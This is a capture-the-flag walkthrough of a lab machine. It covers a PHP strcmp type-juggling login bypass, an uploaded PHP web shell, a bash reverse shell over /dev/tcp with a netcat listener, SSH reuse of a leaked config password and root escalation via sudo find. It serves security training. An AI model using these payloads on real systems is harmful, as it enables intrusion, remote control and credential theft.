Port scan first. Exchange ip with your machines IP address:
sudo nmap -sV ip
Relevant output:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Then we check out the website and have special interest for the login page. We can check if directory listing is enabled on the target server, which is a security issue. Just remove "login.php" from the URL, so it reads:
http://ip/login/
And we can see three files:
config.php2022-06-04 16:24 61 login.php2022-06-15 11:23 7.4K login.php.swp2022-06-04 17:09 16K
The login.php.swp file is of special interest, because it is a file that should not be there. Swap files provide changes that were made to the buffer. Probably the text editor crashed while someone was editing the file login.php and the thereby created swap file was not noticed by the developers or admins. Let's see the content! Just click on the file in the directory listing and it should download automatically. Then:
cd Downloads cat login.php.swp
To output this more readable, run:
strings login.php.swp
We can understand the code, but it still looks weird. The PHP login code seems to be upside down, so we use tac to read the content like cat, but backwards. The interesting part is this:
if (strcmp($username , $_POST['username']) == 0) { if (strcmp($password, $_POST['password']) == 0) {
The username and password provided by the user are compared with a username and password variable, coming from the config.php file and the strcmp() function will return the value 0 if the values match. This is implemented insecure, because if we submit an empty array it will return NULL. And in PHP the == operator only checks the value for equality. The value of Null is 0, even if the type is not the same. The correct operator would have been the === operator, which also checks for types and not only values. This is called Type Juggling Bugs.
To exploit this vulnerability, we will intercept the POST request of a login attempt with BurpSuite and then modify it to include two arrays at the end of the username and password variable. Then, in theory, any credentials should work.
Fire up BurpSuite:
burpsuite
And enable intercepting in the Proxy tab. Then configure your browser to use the manual proxy of:
IP: 127.0.0.1 Port 8080 set a checkmark for https
Or just use the BurpSuite browser, by clicking on "Open browser".
Then, catch a login attempt with any credentials and manipulate this line:
username=123&password=123
To be:
username[]=123&password[]=123
Then click "Forward" until all requests have been forwarded. The browser should now have been redirected to /upload.php. We are now logged in to the Admin File Uploads page.
Let's create a simple .php file to check if PHP code will be executed, if we upload it.
cd temp echo "<?php phpinfo(); ?>" > test.php
Then upload the file via the website and forward the request, if BurpSuite interception is still enabled. You should get a success message at the top right corner of the website. Now we need to figure out where the file was uploaded to. We do this with Gobuster:
gobuster dir --url http://ip/ --wordlist /usr/share/wordlists/dirb/big.txt
Relevant output:
/_uploaded (Status: 301) [Size: 320] [--> http://ip/_uploaded/]
Like before, we can use directory listing to check the files in that folder:
http://ip/_uploaded/
And there we find the test.php file we uploaded. Click on it to see, that in fact the PHP code we submitted was executed. Time for a simple shell!
cd temp sudo nano webshell.php
Insert:
<?php echo system($_REQUEST['cmd']);?> ctrl + o // to save enter // to confirm ctrl + x // to exit
Like we did before, we also upload the newly created webshell.php file and execute it from the directory listing, by clicking on it. Nothing gets displayed yet, but we modify the URL to:
http://ip/_uploaded/webshell.php?cmd=id
And the output now is something like:
uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
Do another request to this URL, but catch it with BurpSuite this time. Then hit
ctrl + r
to send it to the Repeater, so we can modify and re-send it easily. Our goal now is to get a proper reverse shell. To do this, we change the intercepted GET request to POST. Simply right click onto the Request body and select "Change request method". The first line should now read:
POST /_uploaded/webshell.php HTTP/1.1
We also modify the value of the cmd parameter in the last line. Exchange ip with your tun0 inet IP address:
cmd=/bin/bash -c 'bash -i >& /dev/tcp/ip/443 0>&1'
Now, URL encode this payload in BurpSuite, by marking everything after the equal symbol and then pressing
ctrl + u
Before sending this modified request, fire up Netcat on port 443:
sudo nc -lvnp 443
Output:
listening on [any] 443 ...
Now, send the request by clicking "Send" in BurpSuite. The Netcat window should output:
connect to [...] from (UNKNOWN) [...] 57640 bash: cannot set terminal process group (1124): Inappropriate ioctl for device bash: no job control in this shell www-data@base:/var/www/html/_uploaded$
Now we can finally see the content of the config.php file:
cat /var/www/html/login/config.php
Output:
<?php $username = "admin"; $password = "thisisagoodpassword";
Let's also check for users on this system:
ls /home
Output:
john
The port scan at the beginning showed us, that port 22 (SSH) is open on the target machine. Let's try out our credentials via SSH. In a new terminal run:
ssh john@ip password: thisisagoodpassword
Success! Get the user flag:
cat user.txt
Now let's see the which sudo privileges our user has:
sudo -l
Outputs:
User john may run the following commands on base: (root : root) /usr/bin/find
This is another misconfiguration, because we are able to run a binary with elevated privileges. This command will escalate the privileges that our user has:
sudo find . -exec /bin/sh \; -quit
See the provided resource (GTFOBins) for more info about this.
Time to view the root flag:
cat /root/root.txt